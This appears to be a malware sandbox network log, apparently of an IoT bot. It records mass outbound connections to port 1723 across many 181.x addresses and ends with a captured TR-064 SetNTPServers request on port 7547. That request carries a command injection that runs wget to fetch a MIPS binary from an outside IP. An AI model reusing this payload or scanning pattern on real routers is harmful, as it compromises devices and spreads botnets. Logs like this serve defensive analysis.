Apr 15, 2024 08:51:55.258636951 CEST	4334	1723	192.168.2.13	181.51.26.198
Apr 15, 2024 08:51:55.258636951 CEST	4334	1723	192.168.2.13	181.7.95.169
Apr 15, 2024 08:51:55.258636951 CEST	4334	1723	192.168.2.13	181.2.27.35
Apr 15, 2024 08:51:55.258646011 CEST	4334	1723	192.168.2.13	181.38.254.63
Apr 15, 2024 08:51:55.258646011 CEST	4334	1723	192.168.2.13	181.6.91.44
Apr 15, 2024 08:51:55.258651972 CEST	4334	1723	192.168.2.13	181.70.211.146
Apr 15, 2024 08:51:55.258661985 CEST	4334	1723	192.168.2.13	181.78.3.40
Apr 15, 2024 08:51:55.258667946 CEST	4334	1723	192.168.2.13	181.22.165.239
Apr 15, 2024 08:51:55.258675098 CEST	4334	1723	192.168.2.13	181.167.145.159
Apr 15, 2024 08:51:55.258687973 CEST	4334	1723	192.168.2.13	181.1.75.144
Apr 15, 2024 08:51:55.258690119 CEST	4334	1723	192.168.2.13	181.234.227.102
Apr 15, 2024 08:51:55.258698940 CEST	4334	1723	192.168.2.13	181.188.157.177
Apr 15, 2024 08:51:55.258703947 CEST	4334	1723	192.168.2.13	181.82.93.25
Apr 15, 2024 08:51:55.258713007 CEST	4334	1723	192.168.2.13	181.150.105.96
Apr 15, 2024 08:51:55.258713007 CEST	4334	1723	192.168.2.13	181.197.160.62
Apr 15, 2024 08:51:55.258713007 CEST	4334	1723	192.168.2.13	181.85.209.18
Apr 15, 2024 08:51:55.258713007 CEST	4334	1723	192.168.2.13	181.218.247.53
Apr 15, 2024 08:51:55.258724928 CEST	4334	1723	192.168.2.13	181.149.164.161
Apr 15, 2024 08:51:55.258724928 CEST	4334	1723	192.168.2.13	181.115.88.93
Apr 15, 2024 08:51:55.258728027 CEST	4334	1723	192.168.2.13	181.215.36.95
Apr 15, 2024 08:51:55.258728027 CEST	4334	1723	192.168.2.13	181.9.115.205
Apr 15, 2024 08:51:55.258747101 CEST	4334	1723	192.168.2.13	181.156.222.27
Apr 15, 2024 08:51:55.258753061 CEST	4334	1723	192.168.2.13	181.182.48.154
Apr 15, 2024 08:51:55.258753061 CEST	4334	1723	192.168.2.13	181.202.49.107
Apr 15, 2024 08:51:55.258753061 CEST	4334	1723	192.168.2.13	181.192.38.223
Apr 15, 2024 08:51:55.258763075 CEST	4334	1723	192.168.2.13	181.155.211.31
Apr 15, 2024 08:51:55.258763075 CEST	4334	1723	192.168.2.13	181.249.99.168
Apr 15, 2024 08:51:55.258770943 CEST	4334	1723	192.168.2.13	181.210.236.151
Apr 15, 2024 08:51:55.258770943 CEST	4334	1723	192.168.2.13	181.74.12.118
Apr 15, 2024 08:51:55.258770943 CEST	4334	1723	192.168.2.13	181.152.248.79
Apr 15, 2024 08:51:55.258776903 CEST	4334	1723	192.168.2.13	181.137.42.41
Apr 15, 2024 08:51:55.258776903 CEST	4334	1723	192.168.2.13	181.204.25.144
Apr 15, 2024 08:51:55.258776903 CEST	4334	1723	192.168.2.13	181.199.147.74
Apr 15, 2024 08:51:55.258789062 CEST	4334	1723	192.168.2.13	181.161.2.89
Apr 15, 2024 08:51:55.258790016 CEST	4334	1723	192.168.2.13	181.255.127.251
Apr 15, 2024 08:51:55.258790016 CEST	4334	1723	192.168.2.13	181.111.188.24
Apr 15, 2024 08:51:55.258797884 CEST	4334	1723	192.168.2.13	181.110.250.30
Apr 15, 2024 08:51:55.258810043 CEST	4334	1723	192.168.2.13	181.108.48.70
Apr 15, 2024 08:51:55.258810043 CEST	4334	1723	192.168.2.13	181.182.27.176
Apr 15, 2024 08:51:55.258810043 CEST	4334	1723	192.168.2.13	181.75.85.81
Apr 15, 2024 08:51:55.258812904 CEST	4334	1723	192.168.2.13	181.50.128.47
Apr 15, 2024 08:51:55.258812904 CEST	4334	1723	192.168.2.13	181.184.6.80
Apr 15, 2024 08:51:55.258824110 CEST	4334	1723	192.168.2.13	181.134.186.41
Apr 15, 2024 08:51:55.258831024 CEST	4334	1723	192.168.2.13	181.9.20.25
Apr 15, 2024 08:51:55.258832932 CEST	4334	1723	192.168.2.13	181.190.38.85
Apr 15, 2024 08:51:55.258841991 CEST	4334	1723	192.168.2.13	181.45.5.45
Apr 15, 2024 08:51:55.258853912 CEST	4334	1723	192.168.2.13	181.153.134.195
Apr 15, 2024 08:51:55.258857012 CEST	4334	1723	192.168.2.13	181.151.182.126
Apr 15, 2024 08:51:55.258873940 CEST	4334	1723	192.168.2.13	181.176.102.28
Apr 15, 2024 08:51:55.258874893 CEST	4334	1723	192.168.2.13	181.207.204.202
Apr 15, 2024 08:51:55.258876085 CEST	4334	1723	192.168.2.13	181.17.147.16
Apr 15, 2024 08:51:55.258877039 CEST	4334	1723	192.168.2.13	181.164.252.18
Apr 15, 2024 08:51:55.258881092 CEST	4334	1723	192.168.2.13	181.247.173.21
Apr 15, 2024 08:51:55.258881092 CEST	4334	1723	192.168.2.13	181.68.191.65
Apr 15, 2024 08:51:55.258887053 CEST	4334	1723	192.168.2.13	181.189.239.14
Apr 15, 2024 08:51:55.258903027 CEST	4334	1723	192.168.2.13	181.39.27.188
Apr 15, 2024 08:51:55.258903027 CEST	4334	1723	192.168.2.13	181.206.18.134
Apr 15, 2024 08:51:55.258909941 CEST	4334	1723	192.168.2.13	181.174.119.67
Apr 15, 2024 08:51:55.258912086 CEST	4334	1723	192.168.2.13	181.170.204.71
Apr 15, 2024 08:51:55.258912086 CEST	4334	1723	192.168.2.13	181.255.118.15
Apr 15, 2024 08:51:55.258920908 CEST	4334	1723	192.168.2.13	181.132.236.134
Apr 15, 2024 08:51:55.258922100 CEST	4334	1723	192.168.2.13	181.134.52.192
Apr 15, 2024 08:51:55.258928061 CEST	4334	1723	192.168.2.13	181.27.161.5
Apr 15, 2024 08:51:55.258932114 CEST	4334	1723	192.168.2.13	181.232.237.49
Apr 15, 2024 08:51:55.258934021 CEST	4334	1723	192.168.2.13	181.35.224.75
Apr 15, 2024 08:51:55.258934021 CEST	4334	1723	192.168.2.13	181.111.189.245
Apr 15, 2024 08:51:55.258935928 CEST	4334	1723	192.168.2.13	181.88.2.128
Apr 15, 2024 08:51:55.258956909 CEST	4334	1723	192.168.2.13	181.46.15.169
Apr 15, 2024 08:51:55.258958101 CEST	4334	1723	192.168.2.13	181.13.218.76
Apr 15, 2024 08:51:55.258958101 CEST	4334	1723	192.168.2.13	181.129.87.184
Apr 15, 2024 08:51:55.258958101 CEST	4334	1723	192.168.2.13	181.113.99.87
Apr 15, 2024 08:51:55.258964062 CEST	4334	1723	192.168.2.13	181.2.184.137
Apr 15, 2024 08:51:55.258975983 CEST	4334	1723	192.168.2.13	181.10.16.15
Apr 15, 2024 08:51:55.258975983 CEST	4334	1723	192.168.2.13	181.81.166.95
Apr 15, 2024 08:51:55.258977890 CEST	4334	1723	192.168.2.13	181.31.54.202
Apr 15, 2024 08:51:55.258984089 CEST	4334	1723	192.168.2.13	181.180.48.37
Apr 15, 2024 08:51:55.258986950 CEST	4334	1723	192.168.2.13	181.225.33.29
Apr 15, 2024 08:51:55.258986950 CEST	4334	1723	192.168.2.13	181.9.92.31
Apr 15, 2024 08:51:55.258991957 CEST	4334	1723	192.168.2.13	181.227.36.241
Apr 15, 2024 08:51:55.259004116 CEST	4334	1723	192.168.2.13	181.181.79.96
Apr 15, 2024 08:51:55.259004116 CEST	4334	1723	192.168.2.13	181.126.242.177
Apr 15, 2024 08:51:55.259016037 CEST	4334	1723	192.168.2.13	181.118.71.99
Apr 15, 2024 08:51:55.259016991 CEST	4334	1723	192.168.2.13	181.142.187.190
Apr 15, 2024 08:51:55.259016991 CEST	4334	1723	192.168.2.13	181.143.145.1
Apr 15, 2024 08:51:55.259027958 CEST	4334	1723	192.168.2.13	181.144.74.207
Apr 15, 2024 08:51:55.259032011 CEST	4334	1723	192.168.2.13	181.8.57.108
Apr 15, 2024 08:51:55.259035110 CEST	4334	1723	192.168.2.13	181.130.96.192
Apr 15, 2024 08:51:55.259037971 CEST	4334	1723	192.168.2.13	181.187.169.242
Apr 15, 2024 08:51:55.259037971 CEST	4334	1723	192.168.2.13	181.42.81.175
Apr 15, 2024 08:51:55.259043932 CEST	4334	1723	192.168.2.13	181.100.252.120
Apr 15, 2024 08:51:55.259051085 CEST	4334	1723	192.168.2.13	181.9.220.111
Apr 15, 2024 08:51:55.259051085 CEST	4334	1723	192.168.2.13	181.27.137.174
Apr 15, 2024 08:51:55.259057045 CEST	4334	1723	192.168.2.13	181.0.99.59
Apr 15, 2024 08:51:55.259057045 CEST	4334	1723	192.168.2.13	181.83.208.234
Apr 15, 2024 08:51:55.259057045 CEST	4334	1723	192.168.2.13	181.61.229.211
Apr 15, 2024 08:51:55.259058952 CEST	4334	1723	192.168.2.13	181.189.203.54
Apr 15, 2024 08:51:55.259073973 CEST	4334	1723	192.168.2.13	181.231.120.178
Apr 15, 2024 08:51:55.259076118 CEST	4334	1723	192.168.2.13	181.250.118.241
Apr 15, 2024 08:51:55.259076118 CEST	4334	1723	192.168.2.13	181.83.243.200
Apr 15, 2024 08:51:55.259095907 CEST	4334	1723	192.168.2.13	181.60.3.199
Apr 15, 2024 08:51:55.259097099 CEST	4334	1723	192.168.2.13	181.122.211.175
Apr 15, 2024 08:51:55.259097099 CEST	4334	1723	192.168.2.13	181.59.206.130
Apr 15, 2024 08:51:55.259097099 CEST	4334	1723	192.168.2.13	181.173.230.15
Apr 15, 2024 08:51:55.259109020 CEST	4334	1723	192.168.2.13	181.241.185.120
Apr 15, 2024 08:51:55.259119034 CEST	4334	1723	192.168.2.13	181.139.60.94
Apr 15, 2024 08:51:55.259119034 CEST	4334	1723	192.168.2.13	181.41.149.113
Apr 15, 2024 08:51:55.259119987 CEST	4334	1723	192.168.2.13	181.30.76.245
Apr 15, 2024 08:51:55.259134054 CEST	4334	1723	192.168.2.13	181.110.161.165
Apr 15, 2024 08:51:55.259134054 CEST	4334	1723	192.168.2.13	181.92.38.167
Apr 15, 2024 08:51:55.259135008 CEST	4334	1723	192.168.2.13	181.248.243.184
Apr 15, 2024 08:51:55.259134054 CEST	4334	1723	192.168.2.13	181.66.23.210
Apr 15, 2024 08:51:55.259134054 CEST	4334	1723	192.168.2.13	181.234.85.120
Apr 15, 2024 08:51:55.259147882 CEST	4334	1723	192.168.2.13	181.64.163.102
Apr 15, 2024 08:51:55.259149075 CEST	4334	1723	192.168.2.13	181.158.35.58
Apr 15, 2024 08:51:55.259156942 CEST	4334	1723	192.168.2.13	181.183.52.92
Apr 15, 2024 08:51:55.259156942 CEST	4334	1723	192.168.2.13	181.210.98.208
Apr 15, 2024 08:51:55.259160042 CEST	4334	1723	192.168.2.13	181.72.162.77
Apr 15, 2024 08:51:55.259174109 CEST	4334	1723	192.168.2.13	181.34.159.14
Apr 15, 2024 08:51:55.259183884 CEST	4334	1723	192.168.2.13	181.99.124.150
Apr 15, 2024 08:51:55.259185076 CEST	4334	1723	192.168.2.13	181.162.235.10
Apr 15, 2024 08:51:55.259183884 CEST	4334	1723	192.168.2.13	181.228.22.249
Apr 15, 2024 08:51:55.259185076 CEST	4334	1723	192.168.2.13	181.143.70.0
Apr 15, 2024 08:51:55.259185076 CEST	4334	1723	192.168.2.13	181.18.139.129
Apr 15, 2024 08:51:55.259190083 CEST	4334	1723	192.168.2.13	181.186.181.25
Apr 15, 2024 08:51:55.259191036 CEST	4334	1723	192.168.2.13	181.59.25.67
Apr 15, 2024 08:51:55.259191036 CEST	4334	1723	192.168.2.13	181.37.233.96
Apr 15, 2024 08:51:55.259207964 CEST	4334	1723	192.168.2.13	181.126.216.43
Apr 15, 2024 08:51:55.259212971 CEST	4334	1723	192.168.2.13	181.250.155.210
Apr 15, 2024 08:51:55.259217024 CEST	4334	1723	192.168.2.13	181.191.91.175
Apr 15, 2024 08:51:55.259222031 CEST	4334	1723	192.168.2.13	181.177.67.246
Apr 15, 2024 08:51:55.259222031 CEST	4334	1723	192.168.2.13	181.210.65.23
Apr 15, 2024 08:51:55.259222031 CEST	4334	1723	192.168.2.13	181.52.226.190
Apr 15, 2024 08:51:55.259228945 CEST	4334	1723	192.168.2.13	181.232.199.162
Apr 15, 2024 08:51:55.259228945 CEST	4334	1723	192.168.2.13	181.229.40.6
Apr 15, 2024 08:51:55.259231091 CEST	4334	1723	192.168.2.13	181.63.64.69
Apr 15, 2024 08:51:55.259233952 CEST	4334	1723	192.168.2.13	181.124.109.126
Apr 15, 2024 08:51:55.259248972 CEST	4334	1723	192.168.2.13	181.58.91.248
Apr 15, 2024 08:51:55.259268999 CEST	4334	1723	192.168.2.13	181.73.243.168
Apr 15, 2024 08:51:55.259268999 CEST	4334	1723	192.168.2.13	181.198.170.38
Apr 15, 2024 08:51:55.259268999 CEST	4334	1723	192.168.2.13	181.86.166.134
Apr 15, 2024 08:51:55.259272099 CEST	4334	1723	192.168.2.13	181.30.26.235
Apr 15, 2024 08:51:55.259274006 CEST	4334	1723	192.168.2.13	181.222.234.168
Apr 15, 2024 08:51:55.259273052 CEST	4334	1723	192.168.2.13	181.90.180.210
Apr 15, 2024 08:51:55.259289026 CEST	4334	1723	192.168.2.13	181.108.213.154
Apr 15, 2024 08:51:55.259289980 CEST	4334	1723	192.168.2.13	181.85.212.240
Apr 15, 2024 08:51:55.259289980 CEST	4334	1723	192.168.2.13	181.107.73.160
Apr 15, 2024 08:51:55.259290934 CEST	4334	1723	192.168.2.13	181.166.78.201
Apr 15, 2024 08:51:55.259290934 CEST	4334	1723	192.168.2.13	181.59.128.91
Apr 15, 2024 08:51:55.259299994 CEST	4334	1723	192.168.2.13	181.246.12.81
Apr 15, 2024 08:51:55.259311914 CEST	4334	1723	192.168.2.13	181.48.12.43
Apr 15, 2024 08:51:55.259311914 CEST	4334	1723	192.168.2.13	181.94.27.38
Apr 15, 2024 08:51:55.259313107 CEST	4334	1723	192.168.2.13	181.234.219.207
Apr 15, 2024 08:51:55.259313107 CEST	4334	1723	192.168.2.13	181.130.106.125
Apr 15, 2024 08:51:55.259313107 CEST	4334	1723	192.168.2.13	181.211.203.81
Apr 15, 2024 08:51:55.259316921 CEST	4334	1723	192.168.2.13	181.187.149.145
Apr 15, 2024 08:51:55.259321928 CEST	4334	1723	192.168.2.13	181.158.82.102
Apr 15, 2024 08:51:55.259320974 CEST	4334	1723	192.168.2.13	181.249.125.70
Apr 15, 2024 08:51:55.259321928 CEST	4334	1723	192.168.2.13	181.0.42.21
Apr 15, 2024 08:51:55.259344101 CEST	4334	1723	192.168.2.13	181.43.29.26
Apr 15, 2024 08:51:55.259347916 CEST	4334	1723	192.168.2.13	181.120.22.25
Apr 15, 2024 08:51:55.259350061 CEST	4334	1723	192.168.2.13	181.74.38.117
Apr 15, 2024 08:51:55.259361029 CEST	4334	1723	192.168.2.13	181.109.58.70
Apr 15, 2024 08:51:55.259361029 CEST	4334	1723	192.168.2.13	181.114.231.155
Apr 15, 2024 08:51:55.259377003 CEST	4334	1723	192.168.2.13	181.150.228.119
Apr 15, 2024 08:51:55.259377003 CEST	4334	1723	192.168.2.13	181.176.199.133
Apr 15, 2024 08:51:55.259377003 CEST	4334	1723	192.168.2.13	181.245.85.26
Apr 15, 2024 08:51:55.259377003 CEST	4334	1723	192.168.2.13	181.112.147.4
Apr 15, 2024 08:51:55.259378910 CEST	4334	1723	192.168.2.13	181.97.174.4
Apr 15, 2024 08:51:55.259378910 CEST	4334	1723	192.168.2.13	181.63.36.76
Apr 15, 2024 08:51:55.259377003 CEST	4334	1723	192.168.2.13	181.19.219.25
Apr 15, 2024 08:51:55.259377003 CEST	4334	1723	192.168.2.13	181.252.80.222
Apr 15, 2024 08:51:55.259378910 CEST	4334	1723	192.168.2.13	181.138.196.226
Apr 15, 2024 08:51:55.259399891 CEST	4334	1723	192.168.2.13	181.32.182.31
Apr 15, 2024 08:51:55.259411097 CEST	4334	1723	192.168.2.13	181.106.77.138
Apr 15, 2024 08:51:55.259411097 CEST	4334	1723	192.168.2.13	181.240.204.128
Apr 15, 2024 08:51:55.259419918 CEST	4334	1723	192.168.2.13	181.152.100.251
Apr 15, 2024 08:51:55.259424925 CEST	4334	1723	192.168.2.13	181.166.16.54
Apr 15, 2024 08:51:55.259424925 CEST	4334	1723	192.168.2.13	181.185.43.253
Apr 15, 2024 08:51:55.259426117 CEST	4334	1723	192.168.2.13	181.190.244.222
Apr 15, 2024 08:51:55.259438038 CEST	4334	1723	192.168.2.13	181.183.39.203
Apr 15, 2024 08:51:55.259438038 CEST	4334	1723	192.168.2.13	181.255.137.35
Apr 15, 2024 08:51:55.259438992 CEST	4334	1723	192.168.2.13	181.9.45.208
Apr 15, 2024 08:51:55.259438992 CEST	4334	1723	192.168.2.13	181.127.245.100
Apr 15, 2024 08:51:55.259448051 CEST	4334	1723	192.168.2.13	181.177.179.35
Apr 15, 2024 08:51:55.259449005 CEST	4334	1723	192.168.2.13	181.31.219.108
Apr 15, 2024 08:51:55.259458065 CEST	4334	1723	192.168.2.13	181.108.89.164
Apr 15, 2024 08:51:55.259459019 CEST	4334	1723	192.168.2.13	181.226.212.223
Apr 15, 2024 08:51:55.259459019 CEST	4334	1723	192.168.2.13	181.186.126.239
Apr 15, 2024 08:51:55.259475946 CEST	4334	1723	192.168.2.13	181.135.221.194
Apr 15, 2024 08:51:55.259475946 CEST	4334	1723	192.168.2.13	181.72.215.160
Apr 15, 2024 08:51:55.259479046 CEST	4334	1723	192.168.2.13	181.30.57.176
Apr 15, 2024 08:51:55.259480953 CEST	4334	1723	192.168.2.13	181.221.113.52
Apr 15, 2024 08:51:55.259486914 CEST	4334	1723	192.168.2.13	181.242.60.224
Apr 15, 2024 08:51:55.259490013 CEST	4334	1723	192.168.2.13	181.152.135.87
Apr 15, 2024 08:51:55.259490013 CEST	4334	1723	192.168.2.13	181.234.59.156
Apr 15, 2024 08:51:55.259500980 CEST	4334	1723	192.168.2.13	181.126.19.109
Apr 15, 2024 08:51:55.259506941 CEST	4334	1723	192.168.2.13	181.220.21.150
Apr 15, 2024 08:51:55.259506941 CEST	4334	1723	192.168.2.13	181.122.155.220
Apr 15, 2024 08:51:55.259510994 CEST	4334	1723	192.168.2.13	181.34.144.103
Apr 15, 2024 08:51:55.259510994 CEST	4334	1723	192.168.2.13	181.191.103.175
Apr 15, 2024 08:51:55.259514093 CEST	4334	1723	192.168.2.13	181.132.58.174
Apr 15, 2024 08:51:55.259514093 CEST	4334	1723	192.168.2.13	181.151.185.78
Apr 15, 2024 08:51:55.259515047 CEST	4334	1723	192.168.2.13	181.245.47.156
Apr 15, 2024 08:51:55.259517908 CEST	4334	1723	192.168.2.13	181.127.70.32
Apr 15, 2024 08:51:55.259537935 CEST	4334	1723	192.168.2.13	181.224.46.83
Apr 15, 2024 08:51:55.259538889 CEST	4334	1723	192.168.2.13	181.165.87.63
Apr 15, 2024 08:51:55.259538889 CEST	4334	1723	192.168.2.13	181.219.87.49
Apr 15, 2024 08:51:55.259538889 CEST	4334	1723	192.168.2.13	181.203.217.210
Apr 15, 2024 08:51:55.259541988 CEST	4334	1723	192.168.2.13	181.43.195.94
Apr 15, 2024 08:51:55.259545088 CEST	4334	1723	192.168.2.13	181.3.238.189
Apr 15, 2024 08:51:55.259545088 CEST	4334	1723	192.168.2.13	181.144.180.96
Apr 15, 2024 08:51:55.259557962 CEST	4334	1723	192.168.2.13	181.135.150.106
Apr 15, 2024 08:51:55.259566069 CEST	4334	1723	192.168.2.13	181.49.4.8
Apr 15, 2024 08:51:55.259566069 CEST	4334	1723	192.168.2.13	181.82.202.185
Apr 15, 2024 08:51:55.259566069 CEST	4334	1723	192.168.2.13	181.71.177.213
Apr 15, 2024 08:51:55.259569883 CEST	4334	1723	192.168.2.13	181.160.129.108
Apr 15, 2024 08:51:55.259569883 CEST	4334	1723	192.168.2.13	181.123.233.15
Apr 15, 2024 08:51:55.259573936 CEST	4334	1723	192.168.2.13	181.138.190.81
Apr 15, 2024 08:51:55.259573936 CEST	4334	1723	192.168.2.13	181.22.30.219
Apr 15, 2024 08:51:55.259576082 CEST	4334	1723	192.168.2.13	181.151.227.128
Apr 15, 2024 08:51:55.259577990 CEST	4334	1723	192.168.2.13	181.152.151.64
Apr 15, 2024 08:51:55.259598970 CEST	4334	1723	192.168.2.13	181.184.253.243
Apr 15, 2024 08:51:55.259610891 CEST	4334	1723	192.168.2.13	181.241.31.62
Apr 15, 2024 08:51:55.259624958 CEST	4334	1723	192.168.2.13	181.55.234.45
Apr 15, 2024 08:51:55.259624958 CEST	4334	1723	192.168.2.13	181.152.29.66
Apr 15, 2024 08:51:55.259628057 CEST	4334	1723	192.168.2.13	181.229.29.175
Apr 15, 2024 08:51:55.259629965 CEST	4334	1723	192.168.2.13	181.30.55.61
Apr 15, 2024 08:51:55.259635925 CEST	4334	1723	192.168.2.13	181.232.146.61
Apr 15, 2024 08:51:55.259635925 CEST	4334	1723	192.168.2.13	181.78.198.103
Apr 15, 2024 08:51:55.259640932 CEST	4334	1723	192.168.2.13	181.222.242.91
Apr 15, 2024 08:51:55.259645939 CEST	4334	1723	192.168.2.13	181.60.7.16
Apr 15, 2024 08:51:55.259659052 CEST	4334	1723	192.168.2.13	181.164.87.235
Apr 15, 2024 08:51:55.259659052 CEST	4334	1723	192.168.2.13	181.9.78.87
Apr 15, 2024 08:51:55.259660006 CEST	4334	1723	192.168.2.13	181.61.193.168
Apr 15, 2024 08:51:55.259659052 CEST	4334	1723	192.168.2.13	181.109.22.114
Apr 15, 2024 08:51:55.259677887 CEST	4334	1723	192.168.2.13	181.188.1.6
Apr 15, 2024 08:51:55.259677887 CEST	4334	1723	192.168.2.13	181.55.48.2
Apr 15, 2024 08:51:55.259684086 CEST	4334	1723	192.168.2.13	181.58.167.63
Apr 15, 2024 08:51:55.259684086 CEST	4334	1723	192.168.2.13	181.157.234.25
Apr 15, 2024 08:51:55.259685993 CEST	4334	1723	192.168.2.13	181.36.247.107
Apr 15, 2024 08:51:55.259685993 CEST	4334	1723	192.168.2.13	181.144.126.74
Apr 15, 2024 08:51:55.259685993 CEST	4334	1723	192.168.2.13	181.101.209.146
Apr 15, 2024 08:51:55.259687901 CEST	4334	1723	192.168.2.13	181.240.173.154
Apr 15, 2024 08:51:55.259685040 CEST	4334	1723	192.168.2.13	181.226.125.78
Apr 15, 2024 08:51:55.259687901 CEST	4334	1723	192.168.2.13	181.63.12.41
Apr 15, 2024 08:51:55.259687901 CEST	4334	1723	192.168.2.13	181.133.21.186
Apr 15, 2024 08:51:55.259687901 CEST	4334	1723	192.168.2.13	181.206.128.95
Apr 15, 2024 08:51:55.259691000 CEST	4334	1723	192.168.2.13	181.97.118.160
Apr 15, 2024 08:51:55.259716034 CEST	4334	1723	192.168.2.13	181.151.80.231
Apr 15, 2024 08:51:55.259716034 CEST	4334	1723	192.168.2.13	181.17.209.206
Apr 15, 2024 08:51:55.259726048 CEST	4334	1723	192.168.2.13	181.27.64.123
Apr 15, 2024 08:51:55.259727001 CEST	4334	1723	192.168.2.13	181.82.247.137
Apr 15, 2024 08:51:55.259723902 CEST	4334	1723	192.168.2.13	181.100.121.220
Apr 15, 2024 08:51:55.259727001 CEST	4334	1723	192.168.2.13	181.68.11.227
Apr 15, 2024 08:51:55.259742022 CEST	4334	1723	192.168.2.13	181.85.152.199
Apr 15, 2024 08:51:55.259744883 CEST	4334	1723	192.168.2.13	181.68.231.191
Apr 15, 2024 08:51:55.259746075 CEST	4334	1723	192.168.2.13	181.255.144.230
Apr 15, 2024 08:51:55.259744883 CEST	4334	1723	192.168.2.13	181.227.52.191
Apr 15, 2024 08:51:55.259751081 CEST	4334	1723	192.168.2.13	181.84.123.140
Apr 15, 2024 08:51:55.259751081 CEST	4334	1723	192.168.2.13	181.15.209.66
Apr 15, 2024 08:51:55.259751081 CEST	4334	1723	192.168.2.13	181.227.89.72
Apr 15, 2024 08:51:55.259757042 CEST	4334	1723	192.168.2.13	181.72.226.191
Apr 15, 2024 08:51:55.259757042 CEST	4334	1723	192.168.2.13	181.100.94.116
Apr 15, 2024 08:51:55.259757042 CEST	4334	1723	192.168.2.13	181.252.204.19
Apr 15, 2024 08:51:55.259758949 CEST	4334	1723	192.168.2.13	181.31.231.73
Apr 15, 2024 08:51:55.259757042 CEST	4334	1723	192.168.2.13	181.206.54.248
Apr 15, 2024 08:51:55.259758949 CEST	4334	1723	192.168.2.13	181.241.17.138
Apr 15, 2024 08:51:55.259764910 CEST	4334	1723	192.168.2.13	181.64.60.13
Apr 15, 2024 08:51:55.259772062 CEST	4334	1723	192.168.2.13	181.62.60.10
Apr 15, 2024 08:51:55.259778023 CEST	4334	1723	192.168.2.13	181.134.111.27
Apr 15, 2024 08:51:55.259785891 CEST	4334	1723	192.168.2.13	181.56.93.215
Apr 15, 2024 08:51:55.259798050 CEST	4334	1723	192.168.2.13	181.44.236.170
Apr 15, 2024 08:51:55.259798050 CEST	4334	1723	192.168.2.13	181.46.114.223
Apr 15, 2024 08:51:55.259800911 CEST	4334	1723	192.168.2.13	181.247.242.79
Apr 15, 2024 08:51:55.259799957 CEST	4334	1723	192.168.2.13	181.232.106.229
Apr 15, 2024 08:51:55.259799957 CEST	4334	1723	192.168.2.13	181.172.108.38
Apr 15, 2024 08:51:55.259819031 CEST	4334	1723	192.168.2.13	181.56.219.96
Apr 15, 2024 08:51:55.259829044 CEST	4334	1723	192.168.2.13	181.164.152.2
Apr 15, 2024 08:51:55.259844065 CEST	4334	1723	192.168.2.13	181.84.180.5
Apr 15, 2024 08:51:55.259844065 CEST	4334	1723	192.168.2.13	181.173.106.26
Apr 15, 2024 08:51:55.259844065 CEST	4334	1723	192.168.2.13	181.103.14.141
Apr 15, 2024 08:51:55.259845018 CEST	4334	1723	192.168.2.13	181.108.243.162
Apr 15, 2024 08:51:55.259849072 CEST	4334	1723	192.168.2.13	181.65.130.159
Apr 15, 2024 08:51:55.259862900 CEST	4334	1723	192.168.2.13	181.232.16.154
Apr 15, 2024 08:51:55.259864092 CEST	4334	1723	192.168.2.13	181.143.184.104
Apr 15, 2024 08:51:55.259865999 CEST	4334	1723	192.168.2.13	181.17.150.242
Apr 15, 2024 08:51:55.259865999 CEST	4334	1723	192.168.2.13	181.135.169.118
Apr 15, 2024 08:51:55.259867907 CEST	4334	1723	192.168.2.13	181.47.246.6
Apr 15, 2024 08:51:55.259869099 CEST	4334	1723	192.168.2.13	181.98.95.58
Apr 15, 2024 08:51:55.259872913 CEST	4334	1723	192.168.2.13	181.108.45.90
Apr 15, 2024 08:51:55.259874105 CEST	4334	1723	192.168.2.13	181.192.241.180
Apr 15, 2024 08:51:55.259877920 CEST	4334	1723	192.168.2.13	181.39.188.27
Apr 15, 2024 08:51:55.259884119 CEST	4334	1723	192.168.2.13	181.172.159.208
Apr 15, 2024 08:51:55.259884119 CEST	4334	1723	192.168.2.13	181.227.122.227
Apr 15, 2024 08:51:55.259884119 CEST	4334	1723	192.168.2.13	181.188.25.14
Apr 15, 2024 08:51:55.259887934 CEST	4334	1723	192.168.2.13	181.49.137.93
Apr 15, 2024 08:51:55.259898901 CEST	4334	1723	192.168.2.13	181.157.27.23
Apr 15, 2024 08:51:55.259901047 CEST	4334	1723	192.168.2.13	181.133.154.202
Apr 15, 2024 08:51:55.259901047 CEST	4334	1723	192.168.2.13	181.112.71.192
Apr 15, 2024 08:51:55.259915113 CEST	4334	1723	192.168.2.13	181.202.34.20
Apr 15, 2024 08:51:55.259921074 CEST	4334	1723	192.168.2.13	181.125.146.101
Apr 15, 2024 08:51:55.259921074 CEST	4334	1723	192.168.2.13	181.99.99.54
Apr 15, 2024 08:51:55.259923935 CEST	4334	1723	192.168.2.13	181.82.200.232
Apr 15, 2024 08:51:55.259926081 CEST	4334	1723	192.168.2.13	181.152.99.138
Apr 15, 2024 08:51:55.259926081 CEST	4334	1723	192.168.2.13	181.126.7.50

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	5870	154.56.98.230	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:10.524312019 CEST	40	IN	Data Raw: 52 65 73 65 74 20 66 72 6f 6d 20 6c 6f 63 61 6c 3a 28 31 36 33 31 29 20 73 65 71 20 3d 20 32 35 38 37 33 38 36 35 39 39 Data Ascii: Reset from local:(1631) seq = 2587386599

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	43132	187.34.132.104	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:52:12.650093079 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
